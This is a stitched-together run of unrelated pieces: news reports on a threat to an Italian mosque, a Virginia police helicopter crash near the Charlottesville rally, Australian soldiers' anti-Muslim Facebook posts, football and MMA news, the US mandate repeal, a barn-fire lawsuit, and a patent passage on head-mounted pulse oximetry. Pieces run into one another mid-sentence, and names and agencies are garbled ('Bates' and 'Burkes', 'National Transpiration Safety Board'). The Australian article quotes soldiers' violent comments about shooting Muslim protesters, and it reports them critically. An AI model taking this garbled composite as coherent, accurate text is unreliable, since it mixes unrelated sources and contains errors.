The special branch of the Italian police are investigating the death threat, Il Secolo reported.
Roberto Hamza Piccardo, head of Imperia’s Islamic community, said he was not worried by the letter.
“There are 60 million Italian citizens. There will be some idiots too. But as the saying goes: do no evil, fear no evil. We are calm and continue to go forward,” he was quoted as saying.
Imperia’s Islamic community is made up of 3,000 members, including both Italians and foreign residents, the newspaper said.
Threats to Muslim places of worship have been made elsewhere in Europe, with police being called in to protect a mosque in Denmark. Last week swastikas were sprayed across a mosque in Vienna, the latest in a string of attacks against places of worship in the Austrian capital.
Mosques in France came under attack by shots and grenades last month, following deadly shootings in Paris by Islamic extremists.A Virginia State Police helicopter crashed near Charlottesville on Saturday evening, killing two people on board.
Police confirmed that the pilot, 48-year-old Lieutenant H Jay Cullen, and the passenger, 40-year-old Trooper Pilot Berke MM Bates died at the scene in Old Farm Road around 4.50pm, close to the Birdwood Golf Course, according to WSET.
The cause of the crash remains under investigation at this time by state police and the National Transpiration Safety Board. Foul play is not suspected to be a factor.
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Lieutenant H Jay Cullen, 48 (left), and Trooper Pilot Berke MM Bates, 40 (right), were confirmed as the two police officers who died in a helicopter crash on Saturday evening near Charlottesville, Virginia
A 10-second video posted to Twitter and filmed on a golf course showed thick black smoke rising from behind the trees
Authorities mourned the lives of Cullen and Bates, who were killed in Saturday's helicopter crash that occurred around 4.50pm
Authorities mourn the lives of two police officers killed in Saturday's helicopter crash. Culle is known to be the pilot, but it is unknown what the cause of the crash was
Trump's tweet came hours after he failed to name or condemn the white supremacists or alt-right groups at the center of violent protests in Charlottesville earlier on Saturday that converged en masse to protest the removal of a statue of a Confederate general
A statement released by Virginia State Police reads: 'Shortly before 5pm today (August 12), a helicopter crashed into a wooded area near a residence on Old Farm Road. There are two confirmed fatalities.
'No one on the ground was injured. The cause of the crash remains under investigation at this time. State police are on scene with Albemarle County police and fire units.'
President Donald Trump sent out a tweet around 6.50pm about the event, stating: 'Deepest condolences to the families & fellow officers of the VA State Police who died today. You're all among the best this nation produces.'
The tweet came hours after he failed to name or condemn the white supremacists or alt-right groups at the center of violent protests in Charlottesville earlier on Saturday that converged en masse to protest the removal of a statue of a Confederate general.
Lieutenant Cullen graduated from the Virginia State Police Academy in May 1994 and joined the VSP Aviation Unit in 1999. He is survived by his wife and two sons.
Trooper-Pilot Burkes graduated from the VSP Academy in August 2004 and had just transferred to the Aviation Unit as a Trooper-Pilot in July. His 41st birthday would have been on Sunday.
James Alex Fields Jr, 20 (pictured), of Maumee, Ohio, was named as the man who drove a car into a crowd of of anti-fascist counter protesters on Saturday
A 10-second video posted to Twitter and filmed on a golf course shows thick black smoke rising from behind the trees as the Bell 407 helicopter burst into flames.
Emma Eisner, who filmed the clip, said: 'To everyone asking about the helicopter crash: it basically started stalling, spiraled down to the ground & lost control.'
Neighbors told The Daily Progress that the helicopter was flying low near homes before it crashed in the woods.
It came after a white nationalist rally rocked Charlottesville and a car drove into a crowd of anti-fascist counter protesters.
The car accelerated towards and plowed into a crowd of people protesting at the rally Saturday, killing one and injuring 19.
The driver has been named as 20-year-old James Alex Fields Jr of Maumee, Ohio, was arrested on Saturday and is being held at the Albemarle-Charlottesville Regional Jail on suspicion of second-degree murder, according to the jail's superintendent Martin Kumer.
According to media reports, at least one person was killed and 19 injured after the car rammed into protesters
Fields is being held at the Albemarle-Charlottesville Regional Jail on suspicion of second-degree murder, according to the jail's superintendent Martin Kumer
Officials told the Associated Press the helicopter deaths have been linked to the violent rally earlier in the day, but it was not immediately clear how the crash was connected to the rally
Screams rang out as the silver Dodge Charger careened into anti-fascist demonstrators, throwing bodies into the air, before reversing at high speed.
Officials told the Associated Press the deaths have been linked to the violent rally earlier in the day.
It was not immediately clear how the crash was connected to the rally.
A police helicopter had been seen earlier in the day circling over the counter-demonstrations in Charlottesville.
There is speculation the downed aircraft was monitoring the situation in the city at the time of the crash.Defence investigates Facebook Muslim killing comments
Updated
The Defence Force has launched an investigation into inflammatory comments allegedly made by current and former soldiers on Facebook about the recent Muslim protest in Sydney.
One Facebook page contains references to using machine guns and a sniper rifle on those who took part in the riot.
Defence Force Chief David Hurley says he does not agree with the comments and is promising swift action against any serving members of the ADF who have taken part.
"We don't agree with those sort of comments being made," General Hurley told reporters in Canberra.
"The Chief of Army... has made it very, very clear that we will track down and find out if those members are currently serving members, and if they're currently serving members they'll be appropriately dealt with."
The ABC understands some of the soldiers are linked to the Townsville-based Royal Australia Regiment.
These were some of the comments left on the page:
Give me a M4 and send to Sydney and I'll do the dishes.
Could add a new meaning to clean up Australian day.
What about an SR-25? You could say some of those blokes look like farmers. Smile.
Mate, what I would given to drop the legs on a MAG 58, slap on a 500 round belt, adopt a stable firing position in the middle of the street and lay waste to every single one of those cancerous ****.
At least 20 people added that they liked what was being said.
And on the day of the Sydney protests, these comments were left:
The protests were triggered by a US film Innocence of Muslims, portraying the Prophet Mohammed as a womaniser and a paedophile. Um, they are. And how many of these Muslims weren't born in Australia? How many have read the Koran or been to Mecca? And a sign said, 'behead all those who insult the Prophet'. I know what I'm doing this week - getting my gun licence.
I'm getting one too.
Cronulla round two.
I was going to say Cronulla, ha ha.
I wonder if I could buy a flame thrower legally.
Some of the men making the comments have photos of themselves in uniform, including one person who has a variety of pictures of himself holding different machine guns.
Another of the men appears in a helicopter pilot's uniform.
A simple search reveals photos of them on the Australian Defence Force's public website or in Townsville media either during or after serving in Afghanistan.
Several Muslim organisations, including the Islamic Council of New South Wales, have received links to the Facebook page.
The council's chairman, Khaled Sukkarieh, says he hopes the Facebook comments are just rants.
"We would be very concerned if former or current personnel of the ADF held such views, especially if they have served in Muslim countries or are serving in Muslim countries such as Iraq or Afghanistan," he said.
"We would hope that these comments are just the ignorant rantings of a very small minority and not indicative of a big Islamophobic issue in the ADF."
Conduct
The Australia Defence Association told AM in a statement that if these men are serving members of the ADF they will have breached regulations about the responsible use of social media.
It says a second rule could have also been breached which is one of common sense, saying: "You don't make the diggers' life on the frontline harder by making stupid comments."
In a statement to AM, the Defence Department says it was not aware of the Facebook page in question but it is now looking into it.
Defence Minister Stephen Smith says he has not seen the comments, but says ADF members need to act appropriately on social media sites.
"What they do with modern digital media runs the risk of what they think is private becoming public, and they've got to conduct themselves accordingly," he said.
"They represent a uniform and represent the nation, so their comments have to be appropriate and their comments have to reflect the modern Australia, and the modern Australia is an Australia which says we are sensitive, sensible and tolerant about the different make up of Australia.
"We've got a well-deserved and hard-fought for reputation and we don't want that sullied by stupid actions of a minority."
Topics: defence-forces, social-media, defence-and-national-security, islam, multiculturalism, community-and-society, townsville-4810, qld, australia, sydney-2000
First postedAtlético de Madrid The striker is moving closer to signing for Simeone's side
Slowly but surely Diego Costa is moving closer to signing for Atletico Madrid and although it is moving slowly, the Spanish side have no reason to be worried as the Brazilian born player won't be available until January.
There is no rush butone of the prerequisites for Costa to leave Chelsea, that the London club bring in a replacement, has been achieved with the arrival of Alvaro Morata and so there is the green light to move forward.
The next step is that directors from the two clubs now meet with Chelsea keen to offload Costa with manager Antonio Conte not wanting him at the club, while Atletico coach Diego Simeone sees him as a priority signing.
Plenty has already passed for the potential transfer to arrive at this stage including Costa making it clear publicly that he wants to go back to Atletico.
Vitolo and Costa have been the only two players that have been expressly asked for by Simeone, with the former out on loan at Las Palmas until January.
Costa's come and get me call
He first did it during a meet up with the Spanish national team when he said that Conte did not want him at Chelsea and then later he made it clear on social media that he wanted to go to Atletico which included him wearing the club shirt.
Costa is ready to not play until January so as to return to Atletico as he is not keen on the idea of going out on loan.Media playback is unsupported on your device Media caption Footage from the BBC Panorama investigation
The record of undercover reporter Mazher Mahmood - the Fake Sheikh - needs to be re-examined, an ex-attorney general has told Panorama.
Lord Goldsmith said the fact the judge in the failed trial of Tulisa Contostavlos said he had lied was reason to look again.
A former News of the World colleague has told how they created elaborate stings to target celebrities unfairly.
Mr Mahmood told the BBC he used legitimate investigatory methods.
The reporter said he had helped secure about 100 convictions during his 30-year career at newspapers including the News of the World and Sunday Times.
Case collapsed
Some of Mr Mahmood's targets - including the former Grange Hill and London's Burning actor John Alford - were prosecuted and jailed based on his evidence.
But Mr Mahmood is currently suspended from the Sun on Sunday following the collapse of a drugs trial involving singer Tulisa Contostavlos.
The judge said there were strong grounds for believing Mr Mahmood had lied to the court to conceal the fact he had manipulated evidence.
Image caption Here is the image of Mazher Mahmood which he tried to stop the BBC from broadcasting
Former Attorney General Lord Goldsmith told Panorama Mr Mahmood's record needed to be re-examined.
"The fact that somebody who has been accused by a judge of apparently not telling the truth may be instrumental in those convictions would certainly be a reason to look at those convictions again and to examine them to see whether they are safe," he said.
Following the collapse of Ms Contostavlos's trial, the Crown Prosecution Service said it had identified three cases involving evidence from Mr Mahmood where there was no longer a realistic prospect of conviction.
It said no-one was currently in prison on the strength of the reporter's evidence, but it was also looking at past cases.
Drug dealers
Mr Mahmood's former associate Steve Grayson worked with Mr Mahmood on numerous stories in the 1990s.
One involved Page Three glamour model Emma Morgan, whom the pair led to believe she was being offered a lucrative contract for a Middle East bikini calendar.
But Mr Mahmood really wanted a story exposing her as a major drug pusher and had hired a man called Billy to assist.
Find out more Watch Panorama: The Fake Sheikh Exposed on BBC iPlayer. BBC iPlayer
"He is a drug dealer, we're drug dealers, we have paid this guy to supply the drugs to give to her," Grayson said.
Ms Morgan, who was 24 at the time, said she had been put under pressure for several hours to supply cocaine.
She had been asked to pick some up from Billy and give it to Mr Mahmood, which she had done.
Billy told Panorama: "The only real criminal was Mazher Mahmood, he gave me the money to buy the cocaine."
Ms Morgan said: "I was a fool, I was naive. To be foolish isn't a crime, to be naive isn't a crime, to do what he did is criminal.
"I haven't had the career I should have had. I haven't had the life I should have had. He's a horrible, horrible man."
Mr Mahmood denied acting improperly and said Panorama's account of events was wrong and misleading.
Solicitor Mark Lewis, who helped expose phone hacking at the News of the World and is representing some of Mr Mahmood's victims, told Panorama: "The damage that's caused, the damage for people's livelihoods, the amount of people have sent to prison, it's a far more serious thing than phone hacking ever was."
Mr Mahmood told Panorama he had spent his career investigating crime and wrongdoing, he had used legitimate investigatory methods and brought many individuals to justice. He said any criticism of him usually came from those he had exposed or people he had worked with who had an "axe to grind".
Watch Panorama: The Fake Sheikh Exposed on BBC watch again on iPlayer.Venue issues have forced ProElite into a change for its November show.Sources close to the promotion have confirmed to MMA Fighting that ProElite, in its second incarnation after folding up shop in late 2008, will move a planned Nov. 5 event from Atlantic City, N.J., to the iWireless Center in Moline, Ill. An official announcement from the promotion is expected by week's end.The main event is expected to be a heavyweight bout between former UFC champion Tim Sylvia and three-time UFC heavyweight title challenger Pedro Rizzo. Additionally, fellow former UFC heavyweight champ Andrei Arlovski will fight Travis Fulton, regarded as the busiest fighter in MMA history with more than 300 career fights.The event was originally targeted for Nov. 12 at the Resorts Hotel and Casino in Atlantic City, but was moved to Nov. 5. Logistical trouble with Resorts caused the promotion to look elsewhere, and sources said when additional venues in Atlantic City didn't work out, the decision was made to move to the Quad Cities area in western Illinois. In addition to Moline, ProElite officials considered the Target Center in Minneapolis as a host venue for the show.The event now will take place Nov. 5 at the iWireless Center in Moline, which has hosted MMA events in the past – including Adrenaline MMA, the promotion started by MMA promoter and manager Monte Cox several years ago. Cox has been informally consulting with Pro Elite. Both the original Nov. 12 date and the new date of Nov. 5 are up against UFC events.In addition to the main and co-main events on Nov. 5, sources told MMA Fighting that Reagan Penn, brother of former UFC champion BJ Penn, will fight on the card, as will highly regarded women's 125-pounder Tara LaRosa. ProElite reformed earlier this year and hosted a show in Honolulu last month that included Arlovski, Reagan Penn and Kendall Grove Sylvia and Arlovski on the same card sets up the possibility for a future meeting between the two, which would be their fourth fight. Arlovski won their first bout, taking the UFC interim heavyweight title at UFC 51. Sylvia then took the belt from Arlovski with a first-round TKO at UFC 59 and defended it at UFC 61 three months later.Though a published report says Sylvia and Arlovski will meet on the Nov. 5 show, ProElite's head of fight operations T. Jay Thompson confirmed to MMA Fighting that Slyvia-Arlovski will not take place on that day. Additional sources told MMA Fighting it will be Rizzo meeting Sylvia – and that Sylvia-Arlovski IV is not in the promotion's current plans, but could be targeted down the road. It's a fight Arlovski, 1-2 against Sylvia, has wanted for some time Sylvia (29-7) has rebounded after a rough stretch that saw him lose four of five fights. He lost his heavyweight title to Randy Couture at UFC 68. He then beat Brandon Vera, but followed that with a loss to Antonio Rodrigo Nogueira that ended his run in the UFC. He moved on to Affliction's short-lived MMA promotion and suffered a quick submission to Fedor Emelianenko. Then came a 9-second knockout loss to pro boxer Ray Mercer that will likely be the biggest stain on his record. Since then, though, he has won five of six over the last two years, with all his wins by stoppage – and all at super heavyweight.Rizzo (19-9) has not fought since a July 2010 win over Ken Shamrock for Impact FC in Sydney. Rizzo has fought some of the sport's heavyweight legends, including Mark Coleman, Dan Severn, Josh Barnett and Arlovski. In 2001, he twice lost to Couture challenging for the UFC heavyweight title. Since leaving the UFC in 2003, Rizzo's appearances have been more sporadic – with just nine fights in nearly eight years.Arlovski (16-9) snapped out of a four-fight skid with a win over Ray Lopez at ProElite's show last month. Prior to that, Arlovski lost to Emelianeko, Brett Rogers, Antonio Silva and Sergei Kharitonov, the latter three for Strikeforce.Fulton is an Iowa-based fighter with a career record of 247-48-10, according to most databases, though it is believed that 10 of those losses came in kickboxing competitions and not in MMA. Fulton fought 13 times in 2010, but has only fought twice in 2011 – going 2-0. The majority of Fulton's losses have come against future UFC fighters like Ben Rothwell, Forrest Griffin, Travis Wiuff, Rich Franklin and Evan Tanner.Washington (CNN) Republican senators will include a repeal of Obamacare's individual mandate in the revised version of the chamber's tax overhaul to be released by the Senate finance committee Tuesday afternoon, according to two GOP aides. The committee's Republicans were unanimous in their support for adding the repeal.
GOP senators have been initially receptive to the proposal, including Arizona Sen. John McCain, who cast a dramatic deciding late night vote that killed Republicans' efforts to repeal and replace Obamacare earlier this year.
"Yes," he said when he was asked if he is leaning toward supporting the mandate repeal as he came out of the policy lunch.
Following news of the Senate's plans, House conservatives are lobbying their leaders to add the repeal of the individual mandate to the House GOP tax bill Tuesday, according to two senior GOP aides, but at least one House Republican leader has since thrown cold water on the idea.
Sen. Rand Paul announced earlier Tuesday he planned to offer an amendment to the Senate tax bill to repeal the individual mandate that requires individuals to have health insurance or face a fine. President Donald Trump has also endorsed repealing the individual mandate as part of the tax bill.
Sen. Susan Collins, a Republican from Maine, told reporters on Tuesday afternoon she has concerns about repealing the individual mandate in the tax bill.
"I personally think that it complicates tax reform," she said.
Collins was also one of three Republicans who voted against the GOP senate bill to repeal the individual and employer mandate in July. That shell of a bill was intended to get the Senate and House to conference on a health care bill and did not pass the Senate.
Impact on tax reform efforts
Despite Trump's support for the idea, GOP leaders in both chambers have been wary of bringing what has been a toxic debate over health care into the tax overhaul process. The Congressional Budget Office has estimated that repealing the individual mandate could give tax writers an additional $338 billion to reduce taxes over the next decade. The CBO also projects a mandate repeal would lead to 13 million fewer people with health insurance -- a key Democratic attack line during the health care debate.
In a series of tweets, Paul, R-Kentucky, said he intended "to amend the Senate tax bill to repeal the individual mandate and provide bigger tax cuts for middle income taxpayers. The mandate repeal is a promise we all made and we should keep. It also allows an additional $300 billion+ in tax cuts."
Today I am announcing my intention to amend the Senate tax bill to repeal the individual mandate and provide bigger tax cuts for middle income taxpayers.
The mandate repeal is a promise we all made and we should keep. It also allows an additional $300 billion+ in tax cuts. — Senator Rand Paul (@RandPaul) November |
's AR system and partially reside in the cloud resources. The map (also referred to as a “passable world model”) may be a large database comprising raster imagery, 3-D and 2-D points, parametric information and other information about the real world. As more and more AR users continually capture information about their real environment (e.g., through cameras, sensors, IMUs, etc.), the map becomes more and more accurate and complete.
With a configuration as described above, wherein there is one world model that can reside on cloud computing resources and be distributed from there, such world can be “passable” to one or more users in a relatively low bandwidth form preferable to trying to pass around real-time video data or the like. The augmented experience of the person standing near the statue (i.e., as shown in FIG. 1) may be informed by the cloud-based world model, a subset of which may be passed down to them and their local display device to complete the view. A person sitting at a remote display device, which may be as simple as a personal computer sitting on a desk, can efficiently download that same section of information from the cloud and have it rendered on their display. Indeed, one person actually present in the park near the statue may take a remotely-located friend for a walk in that park, with the friend joining through virtual and augmented reality. The system will need to know where the street is, wherein the trees are, where the statue is—but with that information on the cloud, the joining friend can download from the cloud aspects of the scenario, and then start walking along as an augmented reality local relative to the person who is actually in the park.
3-D points may be captured from the environment, and the pose (i.e., vector and/or origin position information relative to the world) of the cameras that capture those images or points may be determined, so that these points or images may be “tagged”, or associated, with this pose information. Then points captured by a second camera may be utilized to determine the pose of the second camera. In other words, one can orient and/or localize a second camera based upon comparisons with tagged images from a first camera. Then this knowledge may be utilized to extract textures, make maps, and create a virtual copy of the real world (because then there are two cameras around that are registered).
So at the base level, in one embodiment a person-worn system can be utilized to capture both 3-D points and the 2-D images that produced the points, and these points and images may be sent out to a cloud storage and processing resource. They may also be cached locally with embedded pose information (i.e., cache the tagged images); so the cloud may have on the ready (i.e., in available cache) tagged 2-D images (i.e., tagged with a 3-D pose), along with 3-D points. If a user is observing something dynamic, he may also send additional information up to the cloud pertinent to the motion (for example, if looking at another person's face, the user can take a texture map of the face and push that up at an optimized frequency even though the surrounding world is otherwise basically static). As noted above, more information on object recognizers and the passable world model may be found in U.S. patent application Ser. No. 14/205,126, entitled “System and method for augmented and virtual reality”, which is incorporated by reference in its entirety herein, along with the following additional disclosures, which related to augmented and virtual reality systems such as those developed by Magic Leap, Inc. of Fort Lauderdale, Fla.: U.S. patent application Ser. No. 14/641,376; U.S. patent application Ser. No. 14/555,585; U.S. patent application Ser. No. 14/212,961; U.S. patent application Ser. No. 14/690,401; U.S. patent application Ser. No. 13/663,466; U.S. patent application Ser. No. 13/684,489; and U.S. Patent Application Ser. No. 62/298,993, each of which is incorporated by reference herein in its entirety.
GPS and other localization information may be utilized as inputs to such processing. Highly accurate localization of the user's head, totems, hand gestures, haptic devices etc. are crucial in displaying appropriate virtual content to the user.
Referring to FIG. 5, a top orthogonal view of a head mountable component (58) of a wearable computing configuration is illustrated featuring various integrated components for illustrative purposes. The configuration features two display elements (62—binocular—one for each eye) three forward-oriented cameras (124) for observing and detecting the world around the user, each having an associated field of view (18, 20, 22); also a forward-oriented relatively high resolution picture camera (156) with a field of view (26), one or more inertial measurement units (102), and a depth sensor (154) with an associated field of view (24), such as described in the aforementioned incorporated by reference disclosures. Facing toward the eyes (12, 13) of the user and coupled to the head mounted component (58) frame are at least one emitter and at least one detector. The illustrative embodiment shows a redundant configuration, with one detector device (830; associated field of view or field of capture is 30) and one emitter device (834; associated field of irradiation is 826) for the right eye (13), and one detector device (828; associated field of view or field of capture is 28) and one emitter device (832; associated field of irradiation is 824) for the left eye (12). These components are shown operatively coupled (836, 838, 840, 842), such as by wire lead, to a controller (844), which is operatively coupled (848) to a power supply (846), such as a battery. Preferably each emitter (832, 834) is configured to controllably emit electromagnetic radiation in two wavelengths, such as about 660 nm, and about 940 nm, such as by LEDs, and preferably the fields of irradiation (824, 826) are oriented to irradiate targeted tissue comprising oxygenated and deoxygenated hemoglobin, such as the vessels of the sclera of the eye, or the vessels of the retina of the eye; the emitters may be configured to emit both wavelengths simultaneously, or sequentially, with controlled pulsatile emission cycling. The one of more detectors (828, 830) may comprise photodiodes, photodetectors, or digital camera sensors, and preferably are positioned and oriented to receive radiation that has encountered the targeted tissue comprising oxygenated and deoxygenated hemoglobin, so that absorption may be detected and oxygen saturation calculated/estimated. The one or more electromagnetic radiation detectors (828, 830) may comprise a digital image sensor comprising a plurality of pixels, wherein the controller (844) is configured to automatically detect a subset of pixels which are receiving the light reflected after encountering at least one blood vessel of the eye of the user, and to use such subset of pixels to produce the output that is proportional to an oxygen saturation level in the blood vessel. The controller (844) may be configured to automatically detect the subset of pixels based at least in part upon reflected light luminance differences amongst signals associated with the pixels. The controller (844) may be configured to automatically detect the subset of pixels based at least in part upon reflected light absorption differences amongst signals associated with the pixels.
Thus a system is presented for determining oxygen saturation of a user wearing a wearable computing system, such as one for AR or VR, comprising: a head-mounted member (58) removably coupleable to the user's head; one or more electromagnetic radiation emitters (832, 834) coupled to the head-mounted member (58) and configured to emit light with at least two different wavelengths in the visible to infrared spectrum in direction of at least one of the eyes (12, 13) of the user; one or more electromagnetic radiation detectors (828, 830) coupled to the head-mounted member and configured to receive light reflected after encountering at least one blood vessel of the eye of the user; and a controller (844) operatively coupled to the one or more electromagnetic radiation emitters (832, 834) and one or more electromagnetic radiation detectors (828, 830) and configured to cause the one or more electromagnetic radiation emitters to emit pulses of light while also causing the one or more electromagnetic radiation detectors to detect levels of light absorption related to the emitted pulses of light, and to produce an output that is proportional to an oxygen saturation level in the blood vessel. The head-mounted member (58) may comprise an eyeglasses frame. The eyeglasses frame may be a binocular eyeglasses frame; alternative embodiments may be monocular. The one or more radiation emitters (832, 834) may comprise a light emitting diode. The one or more radiation emitters (832, 834) may comprise a plurality of light emitting diodes configured to emit electromagnetic radiation at two predetermined wavelengths. The plurality of light emitting diodes may be configured to emit electromagnetic radiation at a first wavelength of about 660 nanometers, and a second wavelength of about 940 nanometers. The one or more radiation emitters (832, 834) may be configured to emit electromagnetic radiation at the two predetermined wavelengths sequentially. The one or more radiation emitters (832, 834) may be configured to emit electromagnetic radiation at the two predetermined wavelengths simultaneously. The one or more electromagnetic radiation detectors (828, 830) may comprise a device selected from the group consisting of: a photodiode, a photodetector, and a digital camera sensor. The one or more electromagnetic radiation detectors (828, 830) may be positioned and oriented to receive light reflected after encountering at least one blood vessel of the retina of the eye (12, 13) of the user. The one or more electromagnetic radiation detectors (828, 830) may be positioned and oriented to receive light reflected after encountering at least one blood vessel of the sclera of the eye of the user. The controller (844) may be further configured to cause the plurality of light emitting diodes to emit a cyclic pattern of first wavelength on, then second wavelength on, then both wavelengths off, such that the one or more electromagnetic radiation detectors detect the first and second wavelengths separately. The controller (844) may be configured to cause the plurality of light emitting diodes to emit a cyclic pattern of first wavelength on, then second wavelength on, then both wavelengths off, in a cyclic pulsing pattern about thirty times per second. The controller (844) may be configured to calculate a ratio of first wavelength light measurement to second wavelength light measurement, and wherein this ratio is converted to an oxygen saturation reading via a lookup table based at least in part upon the Beer-Lambert law. The controller (844) may be configured to operate the one or more electromagnetic radiation emitters (832, 834) and one or more electromagnetic radiation detectors (828, 830) to function as a head-mounted pulse oximeter. The controller (844) may be operatively coupled to an optical element (62) coupled to the head-mounted member (58) and viewable by the user, such that the output of the controller (844) that is proportional to an oxygen saturation level in the blood vessel of the user may be viewed by the user through the optical element (62).
FIG. 6 illustrates various aspects of a technique or method for using a wearable AR/VR system featuring integrated pulse oximetry modules. Referring to FIG. 6, head mounted member or frame removably coupleable to a user's head may be provided (850), and a components configuration may be operatively coupled to the head mounted member, having: one or more electromagnetic radiation emitters coupled to the head-mounted member and configured to emit light with at least two different wavelengths in the visible to infrared spectrum (or in another embodiment, non-visible to infrared) in direction of at least one of the eyes of the user; one or more electromagnetic radiation detectors coupled to the head-mounted member and configured to receive light reflected after encountering at least one blood vessel of the eye of the user; and a controller operatively coupled to the one or more electromagnetic radiation emitters and one or more electromagnetic radiation detectors and configured to cause the one or more electromagnetic radiation emitters to emit pulses of light while also causing the one or more electromagnetic radiation detectors to detect levels of light absorption related to the emitted pulses of light, and to produce an output that is proportional to an oxygen saturation level in the blood vessel (852). The controller may be operated to cause the one or more radiation emitters to emit electromagnetic radiation at two predetermined wavelengths, such as a first wavelength of about 660 nanometers, and a second wavelength of about 940 nanometers, with a cyclic pattern (such as about thirty times per second) of first wavelength on, then second wavelength on, then both wavelengths off, such that the one or more electromagnetic radiation detectors detect the first and second wavelengths separately (854). The controller may be operated to calculate a ratio of first wavelength light measurement to second wavelength light measurement, and wherein this ratio is converted to an oxygen saturation reading via a lookup table based at least in part upon the Beer-Lambert law (856).
In one embodiment, a significant amount of the overall eye-based pulse oximetry activity is done with software operated by the controller (844), such that an initial task of locating vessels (i.e., within the sclera, retina, or other ocular/vascular tissue structure) is conducted using digital image processing (such as by color, grayscale, and/or intensity thresholding analysis using various filters; also may be conducted using pattern and/or shape recognition; the software and controller may be configured to use the intensity of the center of the targeted vessels and the intensity of the surrounding tissue to determine contrast/optical density); with the targeted vessels or other structures identified, emission/detection and processing of detected data (which may include image processing) may be utilized to determine contrast; then the controller (844) may be utilized to calculate density ratios (contrast) and to calculate the oxygen saturation from the density ratios as described above. Vessel optical density (“O.D.”) at each of the two or more emitted wavelengths may be calculated using the formula OD vessel =−log 10 (I v /I r ), wherein OD vessel is the optical density of the vessel; I v is the vessel intensity; and I r is the surrounding retina tissue intensity. Oxygen saturation (also termed “SO 2 ”) may be calculated as a linear ratio of vessel optical densities (OD ratio, or “ODR”) at the two wavelengths, such that SO 2 =ODR=OD firstwavelength /OD secondwavelength
In one embodiment, wavelengths of about 570 nm (sensitive to deoxygenated hemoglobin) and about 600 nm (sensitive to oxygenated hemoglobin) may be utilized in retinal vessel oximetry, such that SO 2 =ODR=OD 600 nm /OD 570 nm ; such formula does not account for adjusting the ratio by a calibration coefficient.
Various exemplary embodiments of the invention are described herein. Reference is made to these examples in a non-limiting sense. They are provided to illustrate more broadly applicable aspects of the invention. Various changes may be made to the invention described and equivalents may be substituted without departing from the true spirit and scope of the invention. In addition, many modifications may be made to adapt a particular situation, material, composition of matter, process, process act(s) or step(s) to the objective(s), spirit or scope of the present invention. Further, as will be appreciated by those with skill in the art that each of the individual variations described and illustrated herein has discrete components and features which may be readily separated from or combined with the features of any of the other several embodiments without departing from the scope or spirit of the present inventions. All such modifications are intended to be within the scope of claims associated with this disclosure.
The invention includes methods that may be performed using the subject devices. The methods may comprise the act of providing such a suitable device. Such provision may be performed by the end user. In other words, the “providing” act merely requires the end user obtain, access, approach, position, set-up, activate, power-up or otherwise act to provide the requisite device in the subject method. Methods recited herein may be carried out in any order of the recited events which is logically possible, as well as in the recited order of events.
Exemplary aspects of the invention, together with details regarding material selection and manufacture have been set forth above. As for other details of the present invention, these may be appreciated in connection with the above-referenced patents and publications as well as generally known or appreciated by those with skill in the art. The same may hold true with respect to method-based aspects of the invention in terms of additional acts as commonly or logically employed.
In addition, though the invention has been described in reference to several examples optionally incorporating various features, the invention is not to be limited to that which is described or indicated as contemplated with respect to each variation of the invention. Various changes may be made to the invention described and equivalents (whether recited herein or not included for the sake of some brevity) may be substituted without departing from the true spirit and scope of the invention. In addition, where a range of values is provided, it is understood that every intervening value, between the upper and lower limit of that range and any other stated or intervening value in that stated range, is encompassed within the invention.
Also, it is contemplated that any optional feature of the inventive variations described may be set forth and claimed independently, or in combination with any one or more of the features described herein. Reference to a singular item, includes the possibility that there are plural of the same items present. More specifically, as used herein and in claims associated hereto, the singular forms “a,” “an,” “said,” and the include plural referents unless the specifically stated otherwise. In other words, use of the articles allow for at least one of the subject item in the description above as well as claims associated with this disclosure. It is further noted that such claims may be drafted to exclude any optional element. As such, this statement is intended to serve as antecedent basis for use of such exclusive terminology as “solely,” “only” and the like in connection with the recitation of claim elements, or use of a “negative” limitation.
Without the use of such exclusive terminology, the term “comprising” in claims associated with this disclosure shall allow for the inclusion of any additional element--irrespective of whether a given number of elements are enumerated in such claims, or the addition of a feature could be regarded as transforming the nature of an element set forth in such claims. Except as specifically defined herein, all technical and scientific terms used herein are to be given as broad a commonly understood meaning as possible while maintaining claim validity.
The breadth of the present invention is not to be limited to the examples provided and/or the subject specification, but rather only by the scope of claim language associated with this disclosure.Via @cjzero, I don’t look forward to the day Russell Westbrook holds a city for ransom with his laser satellite: twitpic.com/clppnm — Bruce Arthur (@bruce_arthur) April 25, 2013
Russell Westbrook is nearly as well-known for his explosive fashion choices as he is for his explosive play on the basketball court.
Westbrook jumped into Blake Griffin’s time-traveling Kia and took it back to 1999, breaking out the Matrix-vintage black pleather. It’s a fitting choice for a player so fast he probably could dodge bullets at warp speed if he needed to.
Too often, Westbrook’s fashion choices overshadow other prime contenders. For example, Kevin Durant wearing the Bill Belichick.
Or James Harden wearing the hipster Canadian tuxedo.
The fashion throwdown that is occurring between these three is almost as entertaining as the games.An Ottawa couple are suing the city and its fire department for $1 million, claiming that fire crews failed to prevent a second outbreak of fire at their farm in March.
Fire officials are shown investigating the two barn fires, which killed livestock including horses, cattle and chickens. (CBC) Firefighters responded to a barn fire at 6255 Prince of Wales Dr., north of North Gower, that broke out at about 9:30 p.m. on March 22.
When they arrived, firefighters found a two-storey barn on fire. The barn measured 30 metres by nine metres and was used to house livestock.
The insured barn was destroyed in the blaze, along with the livestock and equipment inside, despite the efforts of firefighters.
In the statement of claim filed July 28, David and Judy Nixon allege that fire crews left the farm at about 8 a.m. on Sunday — about 10 hours after the fire broke out. But the couple claims they had been told by a fire chief Saturday that crews would monitor the site for 24 hours to make sure the fire did not recur.
On Sunday at about 12 p.m. — nearly 15 hours after the first fire — a second barn on the property caught fire and was destroyed, along with more equipment and livestock.
The second barn was not insured.
The Nixons are claiming $1 million in damages for damaged and lost property, as well as special damages for out-of-pocket expenses (including a $50,000 cleanup), damages for past and future loss of income, interest on damages found to be owing, and the cost of the lawsuit.
None of the allegations have been proven in court.
The city says it's working on a statement of defence.
"The claim referred to was served on the city last week and the city will be filing a statement of defence in due course," said David White, the city's deputy solicitor, in an emailed statement. "In keeping with its usual practice in respect of cases that are before the courts, the city is not prepared to comment further on the matter."(Kees Koolen, CEO of Booking.com (left) and Larry Wall, founder of Perl (right). "As the programming language of choice at Booking.com, we want to give something back to the open source community of Perl developers which so generously provide us with the tools that allow us to make Booking.com the fastest growing online hotel reservation service in Europe", said Kees Koolen, CEO of Booking.com. – Source: Booking.com
